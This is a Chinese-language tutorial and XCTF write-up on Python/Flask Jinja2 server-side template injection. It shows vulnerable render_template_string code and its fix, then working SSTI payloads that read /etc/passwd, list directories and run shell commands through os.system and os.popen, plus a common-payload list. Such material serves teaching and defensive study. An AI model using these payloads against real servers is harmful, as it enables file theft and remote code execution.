Python-模板注入

何爲模板注入?html

模板引擎可讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這大大提高了開發效率,良好的設計也使得代碼重用變得更加容易。python

可是模板引擎也拓寬了咱們的攻擊面。注入到模板中的代碼可能會引起RCE或者XSS。程序員

 

 

flask基礎

在學習SSTI以前,先把flask的運做流程搞明白。這樣有利用更快速的理解原理。shell

路由

先看一段代碼flask

from flask import flask @app.route('/index/') def hello_word(): return 'hello word' 

route裝飾器的做用是將函數與url綁定起來。例子中的代碼的做用就是當你訪問http://127.0.0.1:5000/index的時候,flask會返回hello word。服務器

渲染方法

flask的渲染方法有render_template和render_template_string兩種。app

render_template()是用來渲染一個指定的文件的。使用以下xss

return render_template('index.html') 

render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。函數

使用方法以下學習

html = '<h1>This is index page</h1>' return render_template_string(html) 

模板

flask是使用Jinja2來做爲渲染引擎的。看例子

在網站的根目錄下新建templates文件夾,這裏是用來存放html文件。也就是模板文件。

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html') 

/templates/index.html

<h1>This is index page</h1> 

訪問127.0.0.1:5000/index/的時候,flask就會渲染出index.html的頁面。

模板文件並非單純的html代碼,而是夾雜着模板的語法,由於頁面不可能都是一個樣子的,有一些地方是會變化的。好比說顯示用戶名的地方,這個時候就須要使用模板支持的語法,來傳參。

例子

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.') 

/templates/index.html

<h1>{{content}}</h1> 

這個時候頁面仍然輸出This is index page

{{}}在Jinja2中做爲變量包裹標識符。

模板注入

不正確的使用flask中的render_template_string方法會引起SSTI。那麼是什麼不正確的代碼呢?

xss利用

存在漏洞的代碼

@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html) 

這段代碼存在漏洞的緣由是數據和代碼的混淆。代碼中的code是用戶可控的,會和html拼接後直接帶入渲染。

嘗試構造code爲一串js代碼。

 

 

將代碼改成以下

@app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code) 

繼續嘗試

 

 能夠看到,js代碼被原樣輸出了。這是由於模板引擎通常都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。

模板注入

不正確的使用flask中的render_template_string方法會引起SSTI。那麼是什麼不正確的代碼呢?

目錄:

(1)幾種經常使用於ssti的魔術方法

(2)獲取基類的幾種方法

(3)獲取基本類的子類

(4)利用

(5)讀寫文件

(6)shell命令執行

(7)繞過姿式

(8)實戰(填坑中)

(9)參考(挖坑)

(10)補充

其它模板注入payload

目錄:

 

Flask模板注入

解析:

衆所周知ssti要被{{}}包括。接下來的代碼均要包括在ssti中。

1.幾種經常使用於ssti的魔術方法

__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的

__subclasses__   每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用
__builtins__ builtins便是引用,Python程序一旦啓動,它就會在程序員所寫的代碼沒有運行以前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,因此能夠直接調用引用的模塊

  2.獲取基類的幾種方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //針對jinjia2/flask爲[9]適用
或者
[].__class__.__bases__[0]       //其餘的相似

3.獲取基本類的子類

>>> [].__class__.__base__.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

ssti的主要目的就是從這麼多的子類中找出能夠利用的類(通常是指讀寫文件的類)加以利用。

那麼咱們能夠利用的類有哪些呢?

4.利用

咱們能夠利用的方法有<type 'file'>等。(甚至file通常是第40號)

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

 

 

能夠從上面的例子中看到咱們用file讀取了 /etc/passwd ,可是若是想要讀取目錄怎麼辦?

那麼咱們能夠尋找萬能的os模塊。

寫腳本遍歷。

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1

 

 直接調用就行了。能夠直接調用system函數,有了shell其餘的問題不就解決了嗎?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

5.讀寫文件

固然,某些狀況下system函數會被過濾。這時候也能夠採用os模塊的listdir函數來讀取目錄。(能夠配合file來實現任意文件讀取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #讀取本級目錄

另外在某些不得已的狀況下可使用如下方式來讀取文件。(沒見過這種狀況)。

方法一:

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改成 write() 就是寫文件

方法二:

存在的子模塊能夠經過 .index()方式來查詢

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

用file模塊來查詢。

>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

 

 

這裏拿 xctf 中的 Web_python_template_injection 作例子

進入題目界面能夠看到

 

 嘗試模板注入       {{7*7}}

 

/49的存在說明7*7這條指令被忠實地執行了。接下來,開始想辦法編代碼拿到服務器的控制檯權限 首先,題目告訴咱們這是一個python注入問題,那麼腳本確定也是python的,思考怎樣用python語句獲取控制檯權限:想到了os.system和os.popen([參考資料](https://blog.csdn.net/sxingming/article/details/52071514)),這兩句前者返回**退出狀態碼**,後者**以file形式**返回**輸出內容**,咱們想要的是內容,所因此選擇os.popen`

 

知道了要用這一句,那麼我要怎麼找到這一句呢?python給咱們提供了完整的尋找鏈(參考資料)
class:返回對象所屬的類
mro:返回一個類所繼承的基類元組,方法在解析時按照元組的順序解析。
base:返回該類所繼承的基類 //base__和__mro__都是用來尋找基類的__subclasses:每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
init:類的初始化方法
globals:對包含函數全局變量的字典的引用
首先,找到當前變量所在的類:

 有回顯。嘗試模板注入。

構造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

讀目錄發現了fl4g。直接用file讀取。構造payload:  ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

 

 拿到了flag。

 

 

 

 

 

##注意事項:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')


''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

以上payload是很是經常使用的payload

 

文章引用:

https://blog.csdn.net/qq_45449318/article/details/105302194

https://www.freebuf.com/column/187845.html

https://www.cnblogs.com/cioi/p/12308518.html#a1

相關文章
相關標籤/搜索